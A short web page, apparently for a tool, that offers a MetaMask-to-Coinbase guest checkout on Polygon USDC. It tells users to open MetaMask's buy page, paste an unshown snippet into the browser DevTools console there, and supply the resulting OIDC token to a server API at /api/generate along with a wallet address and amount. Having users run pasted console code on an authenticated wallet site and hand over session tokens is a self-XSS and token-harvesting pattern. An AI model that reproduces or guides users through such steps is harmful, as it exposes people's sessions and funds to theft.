MetaMask → Coinbase Guest Checkout

Locked to Polygon (chainId 137) / USDC • Debit Card

Step 1: Open MetaMask Buy Page

Open app.metamask.io/buy in your real Chrome browser. This establishes the OIDC session origin.

Step 2: Customize

Step 3: Run Console Snippet

Open DevTools Console (F12 → Console) while on app.metamask.io/buy, then paste and run:

Copied!

Step 4: Checkout URL

API Usage (server-side)

GET /api/generate?token=<oidc_token>&wallet=0x...&amount=250